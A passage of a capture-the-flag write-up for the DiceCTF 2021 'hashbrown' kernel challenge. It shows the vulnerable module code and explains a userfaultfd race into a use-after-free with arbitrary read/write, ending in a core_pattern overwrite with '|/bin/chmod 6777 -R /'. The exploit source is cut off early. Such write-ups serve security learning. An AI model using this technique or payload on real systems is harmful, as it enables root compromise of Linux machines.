  return NOT_EXISTS;
}

#pragma GCC pop_options

static int __init init_hashbrown(void) {
  major = register_chrdev(0, DEVICE_NAME, &amp;amp;hashbrown_fops);
  if (major &amp;lt; 0) {
    return -1;
  }
  hashbrown_class = class_create(THIS_MODULE, CLASS_NAME);
  if (IS_ERR(hashbrown_class)) {
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  hashbrown_device =
      device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
  if (IS_ERR(hashbrown_device)) {
    class_destroy(hashbrown_class);
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  mutex_init(&amp;amp;operations_lock);
  mutex_init(&amp;amp;resize_lock);

  hashmap.size = SIZE_ARR_START;
  hashmap.entry_count = 0;
  hashmap.threshold = GET_THRESHOLD(hashmap.size);
  hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
  printk(KERN_INFO &amp;#34;HashBrown Loaded! Who doesn&amp;#39;t love Hashbrowns!\n&amp;#34;);
  return 0;
}

static void __exit exit_hashbrown(void) {
  device_destroy(hashbrown_class, MKDEV(major, 0));
  class_unregister(hashbrown_class);
  class_destroy(hashbrown_class);
  unregister_chrdev(major, DEVICE_NAME);
  mutex_destroy(&amp;amp;operations_lock);
  mutex_destroy(&amp;amp;resize_lock);
  printk(KERN_INFO &amp;#34;HashBrown Unloaded\n&amp;#34;);
}

module_init(init_hashbrown);
module_exit(exit_hashbrown);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This module allow us to add, delete and update key and value to hashmap.&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;The vulnerability is easy, a race condition can be occurs in &lt;code&gt;hashmap_ioctl&lt;/code&gt; function:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;hashmap_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;file, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; request;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; ADD_KEY) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (hashmap.entry_count &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; hashmap.threshold &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        hashmap.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; SIZE_ARR_MAX) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;resize_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resize&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)arg);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;resize_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;operations_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;request, (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)arg, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;))) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; ADD_KEY &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; hashmap.entry_count &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; MAX_ENTRIES) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; MAXED;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_hash_idx&lt;/span&gt;(request.key, hashmap.size);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;switch&lt;/span&gt; (cmd) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;operations_lock);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; result;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As we can see, we can trigger &lt;code&gt;resize&lt;/code&gt; function and other modification functions.
And in &lt;code&gt;resize&lt;/code&gt; function, there is a entry-copy mechanism which allocate new heap chunk and copy old entry&amp;rsquo;s data to new one.
After copying, delete old hashmap&amp;rsquo;s bucket using &lt;code&gt;resize_clean_old&lt;/code&gt; and set hashmap&amp;rsquo;s bucket to new one:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resize&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hash_entry &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;new_buckets, &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;temp_entry, &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;temp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; request;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;temp_data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32_t&lt;/span&gt; new_size, new_threshold, new_idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i, duplicate;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  duplicate &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; hashmap.size; i&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (hashmap.buckets[i]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (temp_entry &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hashmap.buckets[i]; temp_entry &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; NULL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           temp_entry &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;next) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; request.key) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          duplicate &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        new_idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_hash_idx&lt;/span&gt;(temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key, new_size);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;kzalloc&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(hash_entry), GFP_KERNEL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;temp) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;value &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_entry&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;value;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;resize_add&lt;/span&gt;(new_idx, temp, new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;duplicate) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    new_idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_hash_idx&lt;/span&gt;(request.key, new_size);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;kzalloc&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(hash_entry), GFP_KERNEL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;temp) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp_data &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;kzalloc&lt;/span&gt;(request.size, GFP_KERNEL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;temp_data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(temp);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(temp_data, request.src, request.size)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(temp_data);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(temp);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; INVALID;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; request.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;value &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; temp_data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; request.key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temp&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;next &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; NULL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;resize_add&lt;/span&gt;(new_idx, temp, new_buckets);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hashmap.entry_count&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;resize_clean_old&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hashmap.size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; new_size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hashmap.threshold &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; new_threshold;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hashmap.buckets &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; new_buckets;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; (duplicate) &lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt; EXISTS : &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;make-uaf-and-get-controlled-entry&#34;&gt;Make UAF and get controlled entry&lt;/h3&gt;
&lt;p&gt;So, if we delete the value after copying and before &lt;code&gt;resize_clean_old&lt;/code&gt;, there will be freed value in new bucket.
Since size of &lt;code&gt;hash_entry&lt;/code&gt; is 0x20, we can get controll to entry with freed value in new bucket (see &lt;code&gt;construct_corrupted_entry&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&#34;aaraaw&#34;&gt;AAR/AAW&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;hash_entry&lt;/code&gt;, &lt;code&gt;size&lt;/code&gt; and &lt;code&gt;value&lt;/code&gt; member exist. So we can make AAR and AAW primitives using them (see &lt;code&gt;aar&lt;/code&gt; and &lt;code&gt;aaw&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&#34;find-core_pattern-and-overwrite-it&#34;&gt;Find core_pattern and overwrite it&lt;/h3&gt;
&lt;p&gt;Although we can read and write at arbitrary address, there is a limit to do reading because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.11-rc3/source/mm/usercopy.c#L256&#34;&gt;&lt;code&gt;__check_object_size&lt;/code&gt;&lt;/a&gt;.
But, I can leak some address in kernel area (see &lt;code&gt;find_kernel_address&lt;/code&gt;). And using it, I can find kernel base (see &lt;code&gt;find_core_pattern_address&lt;/code&gt; and the few lines after calling it).&lt;/p&gt;
&lt;p&gt;Then since we can read and write at arbitrary address and we know the &lt;code&gt;core_pattern&lt;/code&gt; address, overwrite &lt;code&gt;core_pattern&lt;/code&gt; with &amp;ldquo;|/bin/chmod 6777 -R /&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;549712386&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;549712386&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;DiceCTF2021-hashbrown-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/prctl.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);
static int register_uffd(void* addr, size_t len, void* (*handler)(void*));

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

static int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
